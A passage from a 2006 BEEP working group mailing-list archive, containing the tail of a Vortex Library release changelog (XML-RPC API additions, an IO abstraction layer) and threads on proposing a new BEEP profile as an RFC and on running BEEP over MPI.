  headers, import libraries and all dependencies required.

  This new installer is great not only for those interested on testing
  a the library under Windows but also for those ones developing BEEP
  based applications under this platform. We hope you find it helpful!

  Several Win32 bugs where squashed on this release as well as other
  non platform specific bugs.

  A new IO abstraction layer have been added to support other APIs,
  such as epoll, for people interested on making vortex library to use
  different interfaces than socket "select" call.


Changes since 0.8.9
~~~~~~~~~~~~~~~~~~~

* [fix] adding initial implementation for vortex client to implement
  XML-RPC invocations.

* [new] adding two new functions to get current method invocator name
  and method param numbers from a XmlRpcMethodCall object. Also added
  a function to get current params number added to a invocator
  object. API added:

   - vortex_xml_rpc_method_call_get_name
   - vortex_xml_rpc_method_call_get_num_params
   - vortex_xml_rpc_method_call_get_current_num_params

* [new] adding initial implementation for a marshalling function from
  object into xml representation for a invocator object. API added:
   
   - vortex_xml_rpc_method_call_marshall

* [fix] updating VortexXmlRpcValidateResource async handler to also
  include the channel number where the XML-RPC boot request was
  received.

* [fix] fixing a bug on vortex_channel_validate_err. It was not
  properly reading error message code and textual diagnostics.


* [new] adding a new section to the vortex library manual explaining
  how to properly implement the request/response pattern. Updated
  documentation for the function vortex_channel_set_receive_handler to
  notify about this new section added.

* [new] adding more function to the XML-RPC API:

   - vortex_xml_rpc_method_call_get_param_value: which allows to get
   current param name from a given method call object.
 
   - vortex_xml_rpc_method_value_get_type: which allows to get current
   method value type.

   - vortex_xml_rpc_method_value_get_as_int: which allows to get
   current integer and boolean value for a method value object.

* [fix] implemented vortex_xml_rpc_method_call_marshall to marshall a
  method call into the corresponding XML format.

* [fix] making vortex client to report fault code and fault string
  while performing XML-RPC invocations. Making also to report method
  value returned in the case the XML-RPC invocation have finished.

* [new] added support to the method call object to be not deallocable
  according to API configuration. API added:
    
     - vortex_xml_rpc_method_call_release_after_invoke
     - vortex_xml_rpc_method_call_must_release

* [fix] adding missing xml-rpc method value XML_RPC_DOUBLE_VALUE

* [new] adding new API to manage method response object.
    
     - vortex_xml_rpc_method_response_new
     - vortex_xml_rpc_method_response_free
     - vortex_xml_rpc_method_response_get_status
     - vortex_xml_rpc_method_response_stringify
     - vortex_xml_rpc_method_response_get_fault_code
     - vortex_xml_rpc_method_response_get_fault_string

* [fix] making error codes to use negative values to allow positive
  integer comparisons. Added new XML-RPC error codes:

     - XML_RPC_CHANNEL_NOT_READY
     - XML_RPC_NOT_XML_RPC_CHANNEL
     - XML_RPC_WAITING_PREVIOUS
     - XML_RPC_INVOCATION_FAILURE
     - XML_RPC_TIMEOUT_ERROR

* [new] uploading first XML-RPC implementation that is able to at
  least perform the invocation, marshall the object invocator into the
  xml-rpc and keep on waiting for its reply.

* [fix] making vortex channel close operation to keep attention to the
  connection status to avoid infinite blockings while waiting for
  remining replies that will never arrive because the connection is
  broken.

* [fix] reimplemented internal XmlRpcMethodValue representation to use
  union struct. Modified all internal source code to conform previous
  change.

* [new] added new API to create XmlRpcMethodValue objects from an
  string. Also added convenience function for method call. API added:
   
   - vortex_xml_rpc_method_value_new_from_string
   - vortex_xml_rpc_method_call_create_value_from_string

* [fix] now xml-rpc implementation is able to parse incoming method
  calls into a a XmlRpcMethodCall object.

* [new] modifying XmlRpcMethodCall internal representation to include
  the channel and the message number to be used while performing a
  reply to the method call received. API added:
   
   - vortex_xml_rpc_notify_reply
   - __vortex_xml_rpc_method_call_set_reply_data
   - __vortex_xml_rpc_method_call_get_reply_data

  This allows to defer the reply rather than replying at the time the
  method call was received.

* [new] adding a new function to perform comparisons with the given
  XmlRpcMethodCall with some selected criteria. API added:
   
  - vortex_xml_rpc_method_call_is

* [new] adding initial header to implement XmlRpcMethodResponse
  marshalling into XML.
  
  - vortex_xml_rpc_method_response_marshall

* [fix] updated internal frame received handler for the xml-rpc module
  to implement and initial general service dispatch invocation,
  getting its result and making a reply at the time or just returning
  if the invocation have decided to defer the reply.

* [fix] extended vortex_xml_rpc_accept_negociation function to include
  the possibility to define user space pointers that will be passed in
  to the resource validation and the service dispatch function.


* [fix] updating vortex documentation center to differentiate section
  titles inside the Vortex Library documentation.


* [new] added an abstraction IO layer to implement blocking waits in
  an abstract configurable manner. Now vortex writer and vortex reader
  will invoke vortex_io module to get access to blocking interface
  rather than calling to the default implementation based on BSD
  select. API added:

    - VortexIoCreateFdGroup [handler]
    - VortexIoDestroyFdGroup [handler]
    - VortexIoClearFdGroup [handler]
    - VortexIoWaitOnFdGroup [handler]
    - VortexIoAddToFdGroup [handler]
    - VortexIoIsSetFdGroup [handler]

    - __vortex_io_waiting_default_create [private]: default
      implementation to create a fd group descriptor.

    - __vortex_io_waiting_default_destroy [private]: default internal
      implementation to release fd set created.

    - __vortex_io_waiting_default_clear [private]: default internal
      clear implementation.

    - __vortex_io_waiting_add_to_default [private]: default internal
      add to fd set implementation.

    - __vortex_io_waiting_is_set_default [private]: default internal is
      set socket descriptor inside the fd set implementation.
    
    - vortex_io_waiting_set_create_fd_group [public] allows to set
      current create handler.

    - vortex_io_waiting_invoke_create_fd_group [private] allows to
      invoke current create handler.

    - vortex_io_waiting_set_destroy_fd_group [public] allows to set
      current destroy handler.

    - vortex_io_waiting_invoke_destroy_fd_group [private] allows to
      invoke current destroy handler.
    
    - vortex_io_waiting_set_clear_fd_group [public] allows to set
      current clear handler.

    - vortex_io_waiting_invoke_clear_fd_group [private] allows to invoke
      current clear handler.

    - vortex_io_waiting_set_add_to_fd_group [public] allows to set
      current add to handler.

    - vortex_io_waiting_invoke_add_to_fd_group [private] allows to
      invoke current add to handler.
  
    - vortex_io_waiting_set_is_set_fd_group [public] allows to set
      current is set handler.

    - vortex_io_waiting_invoke_is_set_fd_group [private] allows to
      invoke current is set handler.
  
    - vortex_io_waiting_set_wait_on_fd_group [public] allows to set
      current wait handler.

    - vortex_io_waiting_invoke_wait [private] allows to invoke current
      wait handler.

* [new] adding a new section explaining how to use new abstraction
  mechanism implemented.
  
* [fix] modified vortex reader and vortex writer to no longer perform
  a direct reference to the select based API and to use services
  provided by the vortex_io module.

* [fix] fixing typo errors inside the vortex manual.

* [fix] adding a reference to the latest documentation inside the SVN
  repository.

* [fix] fixing a race condition inside the first level invocation for
  the frame receive event.

* [fix] fixing type signature checking inside
  vortex_xml_rpc_method_call_is.  Now, the function not only checks
  for method name and method parameter number but also check type
  signature for parameters received.

* [new] adding a helper macro called REPLY_FAULT which fills the fault
  code, the fault string and return with the provided value to make
  more easy write XML-RPC services using C language.

* [new] making vortex-client to be able to parse uri style host to
  connect information.  Now vortex client is able to use the connect
  connect using uri-style scheme.

* [fix] starting to produce support to unmarshall XML-RPC replies into
  an appropriate type so the reply could be passed to upper
  levels. Currently we are stuck on making libxml to work while
  parsing XmlRpcMethodValue arguments. This library is a complete
  mess. We are spending more time on making libxml to work rather than
  working on Vortex profiles. It is time to solve this issue.

* [new] adding new API to allow getting (already unmarshalled)
  parameter values received inside method call objects
  (XmlRpcMethodCall). API added:
   
     - vortex_xml_rpc_method_call_get_param_value_as_int
     - vortex_xml_rpc_method_call_get_param_value_as_double
     - vortex_xml_rpc_method_call_get_param_value_as_string

* [new] adding new API to create method response object
  (XmlRpcMethodResponse) by only providing the XmlRpcMethodValue that
  will contain.
  
     - vortex_xml_rpc_method_response_create

* [fix] fixing vortex_xml_rpc_method_response_marshall function, it
  was producing xml representation that weren't using <value> inside
  <param>. Making this function to also use services provided by
  __vortex_xml_rpc_parse_value, so request and response could reuse
  the same piece of code to parse value element.

* [new] adding new API to produce replies while receiving xml-rpc
  method calls:
     
     - CREATE_OK_REPLY
     - CREATE_FAULT_REPLY

* [fix] making vortex_win32.[ch] to be included on make dist command
  (previous releases) wasn't being including this file.

* [fix] making some variable declaration to be at the top of the
  function before any sentence and the vortex tls and vortex channel
  module. ANSI compilers doesn't like too much this.

* [fix] fixing a bug found on code that makes a connection to be
  blocking on windows platform: it wasn't properly setting default
  value.

* [fix] fixing a compile error inside the vortex io module (a variable
  declaration the called the same as the time).

* [fix] making fixing vortex-client "new channel" command.

* [fix] adding support for Makefile.win inside the test directory to
  compile test, not only vortex-client, but also listeners.

* [fix] fixing vortex-client tool, under some circumstances, while
  providing uri data for the host to connect to, it generates NULL
  strings that are not properly implemented by windows printf
  implementation. Ensuring that this function don't receive a NULL
  reference.

* [fix] adding the nsi definition file and the Win32 readme for Vortex
  Library package.

About Us
~~~~~~~~

  Advanced Software Production Line is leading the Af-Arch project: a
  complete framework to develop distributed application to manage
  enterprise process.

  Af-Arch project relies on Vortex Library to exchange data between
  its distributed nodes.

  Advanced Software Production Line also provides GNU/Linux support
  and consulting services on how organization can introduce GNU/Linux
  inside its process, making other platforms to interact with
  GNU/Linux.

  Contact us, using English or Spanish, to get commercial support
  and/or BEEP based development services.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library help you. Enjoy Vortex Library!
         
--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
7th Mar 2006, Madrid (Spain)


From ctpate@bellsouth.net Fri Mar 10 02:07:39 2006
Received: from imf18aec.mail.bellsouth.net (imf18aec.mail.bellsouth.net
	[205.152.59.66])k2AA7chq002065
	for <beepwg@lists.beepcore.org>; Fri, 10 Mar 2006 02:07:38 -0800
Received: from ibm61aec.bellsouth.net ([68.209.196.120])
	by imf18aec.mail.bellsouth.net with ESMTP
	<20060310100724.ZGVA15966.imf18aec.mail.bellsouth.net@ibm61aec.bellsouth.net>
	for <beepwg@lists.beepcore.org>; Fri, 10 Mar 2006 05:07:24 -0500
Received: from [127.0.0.1] (really [68.209.196.120])
          by ibm61aec.bellsouth.net with ESMTP
          id <20060310100724.PJKN1887.ibm61aec.bellsouth.net@[127.0.0.1]>
          for <beepwg@lists.beepcore.org>; Fri, 10 Mar 2006 05:07:24 -0500
Message-ID: <44114FE3.1010007@bellsouth.net>
Date: Fri, 10 Mar 2006 04:07:31 -0600
From: "Clarence T. Pate" <ctpate@bellsouth.net>
User-Agent: Thunderbird 1.5 (Windows/20051201)
MIME-Version: 1.0
To: beepwg@lists.beepcore.org
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Subject: [BEEPwg] Creating a new profile
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 10 Mar 2006 10:07:39 -0000

Hello all!

What is the best process for creating a new profile and determining if 
the profile is good enough to create an IETF RFC?  I am currently 
working on the preliminary design of a profile for a graduate class at UAB.

Thanks!

From francis@aspl.es Fri Mar 10 03:03:15 2006
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])k2AB3Ddl002876
	for <beepwg@lists.beepcore.org>; Fri, 10 Mar 2006 03:03:14 -0800
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1FHfOb-0002MG-00; Fri, 10 Mar 2006 12:02:57 +0100
Subject: Re: [BEEPwg] Creating a new profile
From: Francis Brosnan Blazquez <francis@aspl.es>
To: "Clarence T. Pate" <ctpate@bellsouth.net>
In-Reply-To: <44114FE3.1010007@bellsouth.net>
References: <44114FE3.1010007@bellsouth.net>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Fri, 10 Mar 2006 12:04:13 +0100
Message-Id: <1141988653.5810.39.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.2.3 
X-Scanner: exiscan *1FHfOb-0002MG-00*0F485E.ksPg*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id k2AB3Ddl002876
cc: beepwg@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 10 Mar 2006 11:03:16 -0000

El vie, 10-03-2006 a las 04:07 -0600, Clarence T. Pate escribió:
> Hello all!
> 

Hi Clarence!

> What is the best process for creating a new profile and determining
> if 
> the profile is good enough to create an IETF RFC?  I am currently 
> working on the preliminary design of a profile for a graduate class at
> UAB.

Great,

I'm not familiar with the process, but I'm sure this list is read by
people that could provide some tips for this. 

As an initial step you can post your draft on this list to get feed
back.

> Thanks!

Nice news, good day Clarence!

-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.


From rgerhards@hq.adiscon.com Fri Mar 10 03:14:59 2006
Received: from hetzner.adiscon.com (hetzner.adiscon.com [85.10.201.79])
	k2ABEv6g003096
	for <beepwg@lists.beepcore.org>; Fri, 10 Mar 2006 03:14:58 -0800
Received: from localhost (localhost [127.0.0.1])
	by hetzner.adiscon.com (Postfix) with ESMTP id 56CB627C067
	for <beepwg@lists.beepcore.org>; Fri, 10 Mar 2006 11:20:51 +0100 (CET)
Received: from hetzner.adiscon.com ([127.0.0.1])
	by localhost (hetzner [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18868-01 for <beepwg@lists.beepcore.org>;
	Fri, 10 Mar 2006 11:20:51 +0100 (CET)
Received: from fmint2.intern.adiscon.com (pd95b68d5.dip0.t-ipconnect.de
	[217.91.104.213])
	by hetzner.adiscon.com (Postfix) with ESMTP id 11BDE27C061
	for <beepwg@lists.beepcore.org>;
	Fri, 10 Mar 2006 11:20:50 +0100 (CET)
Received: from grfint2.intern.adiscon.com ([172.19.0.6]) by
	fmint2.intern.adiscon.com with Microsoft SMTPSVC(6.0.3790.1830);
	Fri, 10 Mar 2006 12:14:43 +0100
Content-class: urn:content-classes:message
Subject: RE: [BEEPwg] Creating a new profile
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Date: Fri, 10 Mar 2006 12:14:41 +0100
X-MimeOLE: Produced By Microsoft Exchange V6.5
Message-ID: <577465F99B41C842AAFBE9ED71E70ABA174155@grfint2.intern.adiscon.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [BEEPwg] Creating a new profile
Thread-Index: AcZEMzSM0ecBa9xrQU+dZMlp1E7T7wAACm4A
From: "Rainer Gerhards" <rgerhards@hq.adiscon.com>
Cc: <beepwg@lists.beepcore.org>
X-OriginalArrivalTime: 10 Mar 2006 11:14:43.0137 (UTC)
	FILETIME=[D4D4BB10:01C64433]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at adiscon.com
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id k2ABEv6g003096
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 10 Mar 2006 11:14:59 -0000

Clarence,

my 2cts...

The basic IETF process is outlined in

http://www.ietf.org/rfc/rfc2026.txt

Also, I recommend

http://www.ietf.org/overview.html

and all of its sub-links.

I general, you need to find wide enough support for your proposal and probably a working group that would like to accept it. It may be very helpful to find the WG first, then post your proposal/idea to its mailing list and see how much support you will find. This can also yield to helpful advise on the process itself...

Please expect roughly 1 to 2 years before it is "finished" (at best).

Rainer 

> -----Original Message-----
> From: beepwg-bounces@dbc.mtview.ca.us 
> [mailto:beepwg-bounces@dbc.mtview.ca.us] On Behalf Of Francis 
> Brosnan Blazquez
> Sent: Friday, March 10, 2006 12:04 PM
> To: Clarence T. Pate
> Cc: beepwg@lists.beepcore.org
> Subject: Re: [BEEPwg] Creating a new profile
> 
> El vie, 10-03-2006 a las 04:07 -0600, Clarence T. Pate escribió:
> > Hello all!
> > 
> 
> Hi Clarence!
> 
> > What is the best process for creating a new profile and determining
> > if 
> > the profile is good enough to create an IETF RFC?  I am currently 
> > working on the preliminary design of a profile for a 
> graduate class at
> > UAB.
> 
> Great,
> 
> I'm not familiar with the process, but I'm sure this list is read by
> people that could provide some tips for this. 
> 
> As an initial step you can post your draft on this list to get feed
> back.
> 
> > Thanks!
> 
> Nice news, good day Clarence!
> 
> -- 
> Francis Brosnan Blazquez <francis@aspl.es>
> Advanced Software Production Line, S.L.
> 
> 
> _______________________________________________
> BEEPwg mailing list
> BEEPwg@lists.beepcore.org
> http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg
> 

From sroberts@uniserve.com Sat Apr  8 18:10:47 2006
Received: from priv-edtnes15.telusplanet.net (outbound04.telus.net
	[199.185.220.223])k391Aksp008784
	for <beepwg@lists.beepcore.org>; Sat, 8 Apr 2006 18:10:46 -0700
Received: from priv-edtnaa06.telusplanet.net ([154.20.166.96])
	by priv-edtnes15.telusplanet.netESMTP
	<20060409011037.BHLE17317.priv-edtnes15.telusplanet.net@priv-edtnaa06.telusplanet.net>
	for <beepwg@lists.beepcore.org>; Sat, 8 Apr 2006 19:10:37 -0600
Received: from ensemble.local (d154-20-166-96.bchsia.telus.net
	[154.20.166.96])Firewall) with ESMTP id EEE2HMHUBT
	for <beepwg@lists.beepcore.org>;
	Sat,  8 Apr 2006 19:10:35 -0600 (MDT)
Received: by ensemble.local (Postfix, from userid 501)
	id 927C756443F; Sat,  8 Apr 2006 18:09:32 -0700 (PDT)
Date: Sat, 8 Apr 2006 18:09:32 -0700
From: Sam Roberts <sroberts@uniserve.com>
To: beepwg@lists.beepcore.org
Message-ID: <20060409010932.GA862@ensemble.local>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.5.11
Subject: [BEEPwg] Any thoughts on BEEP over MPI?
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Sun, 09 Apr 2006 01:10:48 -0000


I'm trying to figure out if MPI is a general enough message passing
protocol that you could implement BEEP over it, and whether it would
be a good idea. In particular, whether MPI could be faster than TCP.

Any pointers or thoughts would be greatly appreciated.

Thanks,
Sam

From mrose@dbc.mtview.ca.us Sun Apr  9 09:10:51 2006
Received: from localhost.localdomain (10.225.203.213.rev.inetbone.net
	[213.203.225.10])k39GAoRk026659
	for <beepwg@lists.beepcore.org>; Sun, 9 Apr 2006 09:10:50 -0700
Received: from localhost ([127.0.0.1] helo=[IPv6:::1])
	by localhost.localdomain with esmtp (Exim 4.50)
	id 1FScUv-00039D-VA; Sun, 09 Apr 2006 09:10:46 -0700
In-Reply-To: <20060409010932.GA862@ensemble.local>
References: <20060409010932.GA862@ensemble.local>
Mime-Version: 1.0 (Apple Message framework v746.3)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <C244C7D0-0284-4189-8AF7-C1A7F2BF0E7A@dbc.mtview.ca.us>
Content-Transfer-Encoding: 7bit
From: Marshall Rose <mrose@dbc.mtview.ca.us>
Subject: Re: [BEEPwg] Any thoughts on BEEP over MPI?
Date: Sun, 9 Apr 2006 09:10:41 -0700
To: Sam Roberts <sroberts@uniserve.com>
X-Mailer: Apple Mail (2.746.3)
cc: beepwg@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Sun, 09 Apr 2006 16:10:52 -0000

> I'm trying to figure out if MPI is a general enough message passing
> protocol that you could implement BEEP over it, and whether it would
> be a good idea. In particular, whether MPI could be faster than TCP.
>
> Any pointers or thoughts would be greatly appreciated.

MPI = http://www-unix.mcs.anl.gov/mpi/standard.html ??? or something  
else?

/mtr

From sroberts@uniserve.com Sun Apr  9 11:03:51 2006
Received: from priv-edtnes44.telusplanet.net (defout.telus.net
	[199.185.220.240])k39I3oqn027708
	for <beepwg@lists.beepcore.org>; Sun, 9 Apr 2006 11:03:50 -0700
Received: from priv-edtnaa05.telusplanet.net ([154.20.166.96])
	by priv-edtnes44.telusplanet.netESMTP
	<20060409180340.JGHA15758.priv-edtnes44.telusplanet.net@priv-edtnaa05.telusplanet.net>
	for <beepwg@lists.beepcore.org>; Sun, 9 Apr 2006 12:03:40 -0600
Received: from ensemble.local (d154-20-166-96.bchsia.telus.net
	[154.20.166.96])Firewall) with ESMTP id 06NR7XW3TG
	for <beepwg@lists.beepcore.org>;
	Sun,  9 Apr 2006 12:03:39 -0600 (MDT)
Received: by ensemble.local (Postfix, from userid 501)
	id 2E15556497C; Sun,  9 Apr 2006 11:02:29 -0700 (PDT)
Date: Sun, 9 Apr 2006 11:02:29 -0700
From: Sam Roberts <sroberts@uniserve.com>
To: beepwg@lists.beepcore.org
Subject: Re: [BEEPwg] Any thoughts on BEEP over MPI?
Message-ID: <20060409180229.GA488@ensemble.local>
Mail-Followup-To: beepwg@lists.beepcore.org
References: <20060409010932.GA862@ensemble.local>
	<C244C7D0-0284-4189-8AF7-C1A7F2BF0E7A@dbc.mtview.ca.us>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <C244C7D0-0284-4189-8AF7-C1A7F2BF0E7A@dbc.mtview.ca.us>
User-Agent: Mutt/1.5.11
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Sun, 09 Apr 2006 18:03:52 -0000

Quoting mrose@dbc.mtview.ca.us, on Sun, Apr 09, 2006 at 09:10:41AM -0700:
> >I'm trying to figure out if MPI is a general enough message passing
> >protocol that you could implement BEEP over it, and whether it would
> >be a good idea. In particular, whether MPI could be faster than TCP.
> >
> >Any pointers or thoughts would be greatly appreciated.
> 
> MPI = http://www-unix.mcs.anl.gov/mpi/standard.html ??? or something  
> else?

Sorry, yes, that MPI.

Sam

From vijay@saraswat.org Sun Apr  9 11:25:29 2006
Received: from smtp5.suscom.net (smtp5.suscom.net [64.78.83.245])
	k39IPSUm027959
	for <beepwg@lists.beepcore.org>; Sun, 9 Apr 2006 11:25:28 -0700
Received: from localhost (unknown [127.0.0.1])
	by smtp5.suscom.net (Postfix) with ESMTP id 9A8535100FA;
	Sun,  9 Apr 2006 14:25:19 -0400 (EDT)
Received: from smtp5.suscom.net ([127.0.0.1])
 by localhost (smtp5 [127.0.0.1]) (amavisd-new, port 10024) with LMTP
 id 06044-01-32; Sun,  9 Apr 2006 14:25:17 -0400 (EDT)
Received: from [127.0.0.1] (ip52.213.45.216.suscom.net [216.45.213.52])
	by smtp5.suscom.net (Postfix) with SMTP id D15555100F5;
	Sun,  9 Apr 2006 14:25:16 -0400 (EDT)
Message-ID: <4439517B.2020005@saraswat.org>
Date: Sun, 09 Apr 2006 14:24:59 -0400
From: Vijay Saraswat <vijay@saraswat.org>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
	rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Sam Roberts <sroberts@uniserve.com>
Subject: Re: [BEEPwg] Any thoughts on BEEP over MPI?
References: <20060409010932.GA862@ensemble.local>
	<C244C7D0-0284-4189-8AF7-C1A7F2BF0E7A@dbc.mtview.ca.us>
In-Reply-To: <C244C7D0-0284-4189-8AF7-C1A7F2BF0E7A@dbc.mtview.ca.us>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Virus-Scanned: by amavisd-new .250  at suscom.net
cc: beepwg@lists.beepcore.org
cc: Marshall Rose <mrose@dbc.mtview.ca.us>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Sun, 09 Apr 2006 18:25:29 -0000

Marshall Rose wrote:

>> I'm trying to figure out if MPI is a general enough message passing
>> protocol that you could implement BEEP over it, and whether it would
>> be a good idea. In particular, whether MPI could be faster than TCP.
>>
>> Any pointers or thoughts would be greatly appreciated.
>
>
> MPI = http://www-unix.mcs.anl.gov/mpi/standard.html ??? or something  
> else?
>
Very odd thought.

MPI is used widely as a message-passing API (particularly w/ C,C++ and 
Fortran) for high performance computing HPC). The synchronous (2-way) 
MPI is used much more widely than the 1-way (remote memory read/write) 
enabled version. It supports user-space synchronous message-passing. 
(There is also support, using immediate/nonblocking mode for 
asynchronous messaging.) The bulk of MPI is oriented towards supporting 
collective operations (e.g. all reduce) over a group of such processes 
participating in point to point interactions with each other (grouped 
together in a communicator). Not sure this is particularly relevant for 
BEEP.

Why would you want to do this? Perhaps what you might be after is that 
often HPC clusters are built over extremely high-performance 
interconnects that are non-IP-based. For instance, ARMCI and LAPI, based 
on infiniband/quadrics/myrinet/IBM Federation switches  and other 
network I/O cards

 http://citeseer.ist.psu.edu/nieplocha99armci.html
 http://www.emsl.pnl.gov/docs/global/papers/lapi.pdf

(There is also GASNet, http://gasnet.cs.berkeley.edu/)

So you might consider layering on top of these.

What are you really after?

Best,
Vijay


From sroberts@uniserve.com Tue Apr 25 23:00:35 2006
Received: from priv-edtnes09.telusplanet.net (outbound02.telus.net
	[199.185.220.221])k3Q60XDQ018750
	for <beepwg@lists.beepcore.org>; Tue, 25 Apr 2006 23:00:34 -0700
Received: from priv-edtnaa05.telusplanet.net ([154.20.166.96])
	by priv-edtnes09.telusplanet.netESMTP
	<20060426060022.LKNZ888.priv-edtnes09.telusplanet.net@priv-edtnaa05.telusplanet.net>
	for <beepwg@lists.beepcore.org>; Wed, 26 Apr 2006 00:00:22 -0600
Received: from ensemble.local (d154-20-166-96.bchsia.telus.net
	[154.20.166.96])Firewall) with ESMTP id 28HV6VR4KL
	for <beepwg@lists.beepcore.org>;
	Wed, 26 Apr 2006 00:00:15 -0600 (MDT)
Received: by ensemble.local (Postfix, from userid 501)
	id 93D50568450; Tue, 25 Apr 2006 22:59:09 -0700 (PDT)
Date: Tue, 25 Apr 2006 22:59:08 -0700
From: Sam Roberts <sroberts@uniserve.com>
To: beepwg@lists.beepcore.org
Subject: Re: [BEEPwg] Any thoughts on BEEP over MPI?
